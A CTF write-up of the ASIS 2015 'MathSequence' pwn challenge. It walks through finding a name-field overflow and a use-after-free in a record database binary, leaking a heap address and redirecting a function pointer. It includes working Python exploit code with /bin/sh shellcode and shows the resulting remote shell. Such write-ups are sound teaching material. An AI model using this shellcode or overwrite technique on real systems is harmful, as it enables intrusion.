ASIS-ctf 2015 MathSequence

@mrexcessive WHA
& James Nock WHA

The problem

This is our mathematic sequences holder, Could you pwn it?
nc 217.218.48.87 33003
binary to download
http://tasks.asis-ctf.ir/math_sequence_3a36703d4b1e398b29e522d508cf3828

The solution We have a small database system to exploit. This is in the pwn category so we are probably looking to get a shell exploit.

The database system runs locally and can be run in a loop from a small script, via netcat. There is a simple menu to let you create records, edit records, delete and print records.

#!/bin/sh
while true; do nc -l -p 1337 -e ./mathseq ; done

James has analysed the code and says he thinks this is a use after free vulnerability. Also that he has found a probably exploitable call *%rdx in the print function.

21:15:24> "Jpnock": +=====

.text:0000000000400A39                 mov     rax, ds:global_seqlist[rax*8]
.text:0000000000400A41                 mov     rdx, [rax]
.text:0000000000400A44                 mov     eax, 0
.text:0000000000400A49                 call    rdx
.text:0000000000400A4B                 mov     eax, [rbp+var_4]

Even better, the %rdx address is loaded from the struct record, held within a malloc'd space, which is created for each database entry.

Conveniently, I had a mini-database-exploit-leading-to-shell python program which I'd written for PLAID/PRODMANAGER a few weeks back... so pulled out a copy.

Two minutes later and my customary note-taking file, git control (essential for complex flags with coded attacks...) and other bits and pieces are in place. James and I talk over the problem as we try things.

The core of this is to automate the sending of sequences of commands to the local copy of the binary, it also has a pause to allow GDB to be attached to the service process after the initial connect. This worked immediately as hoped, yielding a simple sequence of commmands/entries which would SEGFAULT.

   whattodo = """
1
sequencename
16
0123456789ABCDEF
3\n1
4
"""

This crashes in libc but not in a useful place, no obvious control over IP/EIP as yet.

I make some notes, need to investigate the four main functions available in the database program.

NOT CONTIGUOUS CODE ***
  400d03:    e8 9c fb ff ff          callq  4008a4       ; 1 = create
  400d17:    e8 6a fd ff ff          callq  400a86       ; 2 = edit
  400d2b:    e8 a1 fe ff ff          callq  400bd1       ; 3 = delete
  400d3f:    e8 8e fc ff ff          callq  4009d2       ; 4 = print
- else exit...

We may be able to use the fact that the delete function does free the structure entry but does not free the associated malloc'd entry which holds the 'sequence'. Sequence is a fixed length, set by the user and seems initially to be robustly controlled.

We are not able to overwrite the stack, in any case it is protected by canaries, but it also seems difficult to attack with buffer entries/sizes controlled. Also the stack is not executable.

The way in will be to write to overwrite a sequence perhaps ?

Some messing later and we discover that if you do create create delete create then sequences get linked together. This seems to be related to a bug in the server: Not only does it not free the malloc for the sequence string, but it also doesn't decrement the record count after deleting a record. This fact will cause us problems later... the print function is called before everything except create - to allow choice of a record to operate on for edit or delete, the consequence of this is you cannot have two deleted records.

The pointer table is at 0x602100[ax=loop * 8]
This table holds pointers to the structs which are malloc'd to hold the records. The entries in here are also not cleaned up when records are deleted... We can see this when we do the create create delete create sequence:

[1]=>
SEQUENCE; 1

!NOT_VALIDATED_YET! aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz
a0a0b0b0c0c0d0d0e0e0f0f0g0g0h0h0i0i0j0j0k0k0l0l0m0m0n0n0o0o0p0p0q0q0r0r0s0s0t0t0u0u0v0v0w0w0x0x0y0y0z0z0
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

============
[2]=>
SEQUENCE; 3

!NOT_VALIDATED_YET! A0A0B0B0C0C0D0D0E0E0F0F0G0G0H0H0

============
[3]=>
SEQUENCE; 3

!NOT_VALIDATED_YET! A0A0B0B0C0C0D0D0E0E0F0F0G0G0H0H0

Records 2 and 3 are the same record. The control table has something like [^1^2^2] because the malloc for the third record created used the space previous allocated to the second...

I mess about, trying to delete two records for a few hours, intending to then create a new one with a sequence length of x97 = 151 characters... (sequences are allocated N+1 bytes of storage, the struct records are themselves malloc'd with x98 bytes space, this would allow malloc to create a sequence in a place where the print routine was expecting a record to be found. This in turn would allow us to overwrite the %dx address.

Unfortunately this approach doesn't work... It is now something like 4am... I make a list of things to consider for further attacks/research... Need to be deliberately logical when tired!
Constraint solving (macro) time:

  • Only mallocs are create struct and create sequence space - both happen in create.
  • We can allocate any size for the sequence space - subject to malloc working.
  • The only free() is free(struct) - in delete sequence.
  • We can pass negative numbers to delete function, not clear how to achieve much tho except crashes.
  • Can't do anything except create after delete, because delete and edit and print all crash.
  • Master table has list of ^struct
  • Print has call *%rdx which is what we're attacking... %rdx comes from 0[struct]

Passing a negative number to delete function occupies me for a while... perhaps something there is attackable:

$ x/128xw 0x602000
0x602000:    0x00601e28  0x00000000  0xd5aec1c8  0x00007fd1
0x602010:    0xd58dea20  0x00007fd1  0x004006a6  0x00000000
0x602020 <puts@got.plt>:    0xd55a8ed0  0x00007fd1  0x004006c6  0x00000000
0x602030 <printf@got.plt>:    0xd558e1d0  0x00007fd1  0xd560f960  0x00007fd1
0x602040 <__libc_start_main@got.plt>:    0xd555edb0  0x00007fd1  0x00400706  0x00000000
0x602050 <__gmon_start__@got.plt>:    0x00400716  0x00000000  0xd55baa00  0x00007fd1
0x602060 <setvbuf@got.plt>:    0xd55a9640  0x00007fd1  0xd55976e0  0x00007fd1
0x602070 <exit@got.plt>:    0x00400756  0x00000000  0x00000000  0x00000000
0x602080:    0x00000000  0x00000000  0x00000000  0x00000000
0x602090:    0x00000000  0x00000000  0x00000000  0x00000000
0x6020a0:    0x00000000  0x00000000  0x00000000  0x00000000
0x6020b0:    0x00000000  0x00000000  0x00000000  0x00000000
0x6020c0 <stdout>:    0xd58c57a0  0x00007fd1  0x00000400  0x00000000
0x6020d0:    0x00000000  0x00000000  0x00000000  0x00000000
0x6020e0:    0x00000000  0x00000000  0x00000000  0x00000000
0x6020f0:    0x00000000  0x00000000  0x00000000  0x00000000
0x602100:    0x01cb8010  0x00000000  0x01cb8150  0x00000000
0x602110:    0x01cb8290  0x00000000  0x01cb83d0  0x00000000

the data at 0x602100 - 0x602120 is the actual pointer-to-struct table

Further messing reveals that the sequence name string is NOT constrained successfully to 128 bytes, which is the space available for it in the 0x98 byte struct record. It can overwrite some of a pointer to the sequence data at the end of the struct.

Each database record has this structure in memory:

.+  0 -  8    Pointer to print function (our attack)
.+  8 -x88    space for sequence name (x80 bytes)
.+x88 -x90    length of sequence data
.+x90 -x98    pointer to (address of) sequence data

The sequence name is prepended by the 10 characters "SEQUENCE? "
This means that, although restricted to x80 bytes of input, the total length written to memory is x8a characters.. and we control all except the first 10 !
So, we can overwrite the whole of the "length of sequence data" region and the first two bytes (low endian) of the pointer to the sequence data. Once we have changed that pointer we can write anywhere (memory protection still applies), certainly anywhere on the heap - which is executable.

OK so print shows... (chopped to split line for visibility only)
SEQUENCE; 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
0123456789abcdef0123456789abcdef012345�

$ x/152bx 0xad0010
0xad0010:    0x7a    0x08    0x40    0x00    0x00    0x00    0x00    0x00
0xad0018:    0x53    0x45    0x51    0x55    0x45    0x4e    0x43    0x45
0xad0020:    0x3b    0x20    0x30    0x31    0x32    0x33    0x34    0x35
0xad0028:    0x36    0x37    0x38    0x39    0x61    0x62    0x63    0x64
0xad0030:    0x65    0x66    0x30    0x31    0x32    0x33    0x34    0x35
0xad0038:    0x36    0x37    0x38    0x39    0x61    0x62    0x63    0x64
0xad0040:    0x65    0x66    0x30    0x31    0x32    0x33    0x34    0x35
0xad0048:    0x36    0x37    0x38    0x39    0x61    0x62    0x63    0x64
0xad0050:    0x65    0x66    0x30    0x31    0x32    0x33    0x34    0x35
0xad0058:    0x36    0x37    0x38    0x39    0x61    0x62    0x63    0x64
0xad0060:    0x65    0x66    0x30    0x31    0x32    0x33    0x34    0x35
0xad0068:    0x36    0x37    0x38    0x39    0x61    0x62    0x63    0x64
0xad0070:    0x65    0x66    0x30    0x31    0x32    0x33    0x34    0x35
0xad0078:    0x36    0x37    0x38    0x39    0x61    0x62    0x63    0x64
0xad0080:    0x65    0x66    0x30    0x31    0x32    0x33    0x34    0x35
0xad0088:    0x36    0x37    0x38    0x39    0x61    0x62    0x63    0x64
0xad0090:    0x65    0x66    0x30    0x31    0x32    0x33    0x34    0x35
0xad0098:    0x97*   0x00    0x00    0x00    0x61    0x62    0x63    0x64
0xad00a0:    0xb0*   0x00    0xad    0x00    0x00    0x00    0x00    0x00

We can see that the 012345 is truncated when the length has been stored... hence the single non-printable char (0x97 - marked *) above

Further messing shows that we need to create a record then edit it... this will allow us to write some shellcode into the buffer and overwrite the sequence data pointer, maybe changing it to point to the print-function pointer at offset .+0 in the struct.

Attack will be:

 whattodo = """1
aaaa
151
bbbb
2
1
n"""
      SendWithPauses(whattodo)
      attack = "a" * 0x76       # will have "SEQUENCE; " prepended, 10 chars => so this is 0x80 total
      attack += "\x97\x00\x00\x00" + "b" * 4
      attack += "\x10"          # patch it to point to the print function
      attack += "\n"
      attack += "\x11\x22\x33\x44\n"      # for testing... see where it goes!
      SendWithPauses(attack)

This doesn't work.. but we realise that reading the data back will be required, to get the address for the print-function pointer, so we can overwrite that...

After some minor problems - lasting until 6:30am - I really need this to work soon! the shellcode runs locally with server in GDB first, then when I run it without attaching GDB.

Finally it runs against the remote server!  After the automated injection the python switches the socket across to be a telnet session and you select option 4 print... then you get shell !
Success:

!NOT_VALIDATED_YET! "��
============
[2]=>

EQUENCE; cccc

ls
bin
flag
lib
lib64
mathseq
cat flag
ASIS{--redacted--}

The significant part of the python code is this:

         attack = """2
1
n
"""         
         attack += "a" * 0x76
         attack += "\x01\x04\x01\x01" + "bbb\n"
         resp = SendWithPauses(attack)
         HexPrint(resp)
# now get data back from the Loooong sequence string
         doread = """4
"""
         resp = SendWithPauses(doread)
         HexPrint(resp)
         assert("bbb\n" in resp)
         p = resp.find("bbb\n")
         bytes = resp[p+4:p+8]         # get 4 bytes after the "bbb\n" which we just put in above
         bytes = bytes[::-1]           # reverse them - little endian
         hx = bytes.encode("hex")
         addr = int(hx,16)
         print "Buffer address found = %08x" % addr
         shelladdr = addr - 0x8e
         print "Therefore... shell address = %08x" % shelladdr
 # finally send shellcode and correct addresses, also the new return address
         op_SHELLcode = "\xeb\x19\x5e\x31\xc0\x88\x46\x07\x8d\x56\x08\x89\x32\x89\x42\x04\x89\xd1\x83\xc2\x04\x89\xf3\xb0\x0b\xcd\x80\xe8\xe2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x44\x41\x44\x44\x52\x23\x23\x23\x23"
         attack = """2
1
n
"""         
         attack += op_SHELLcode
         attack += "a" * (0x76 - len(op_SHELLcode))
         attack += "\x01\x04\x01\x01" + "bbb\n"          # end     change from \x97\x00...
         attack += (struct.pack("<I",shelladdr) + "\x00\x00\x00\x00") * 21
#         attack += "\x12\x34\x56\x78\x9a\x9b\x9c\x9d" *21
#         attack += struct.pack("<II",shelladdr,0) * 0x10       # new sequence value ROP address.. LONG
         resp = SendWithPauses(attack)
         HexPrint(resp)
         print
         print "Now type 4 for 'PRINT' then you have shell, type 'ls' and 'cat flag' !!"